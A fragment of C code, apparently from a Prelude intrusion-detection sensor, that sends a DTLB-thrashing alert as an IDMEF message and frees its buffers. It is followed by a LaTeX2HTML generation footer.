fill_dtlb_trashing(&dtlb, tmp); if(ret != 22) goto err; fill_target(target, dtlb_msg_type, (unsigned long)&dtlb); goto msg; } } msg: idmef_msg_send(msgbuf, message, PRELUDE_MSG_PRIORITY_MID); idmef_message_free(message); prelude_msgbuf_close(msgbuf); if( tmp_save ) free(tmp_save); if( log_c ) free(log_c); return 0; err: prelude_msgbuf_close(msgbuf); errbuf: idmef_message_free(message); if( tmp_save ) free(tmp_save); if( log_c ) free(log_c); return -1; }
This document was generated using the LaTeX2HTML translator Version 2K.1beta (1.48)
Copyright © 1993, 1994, 1995, 1996,
Nikos Drakos,
Computer Based Learning Unit, University of Leeds.
Copyright © 1997, 1998, 1999,
Ross Moore,
Mathematics Department, Macquarie University, Sydney.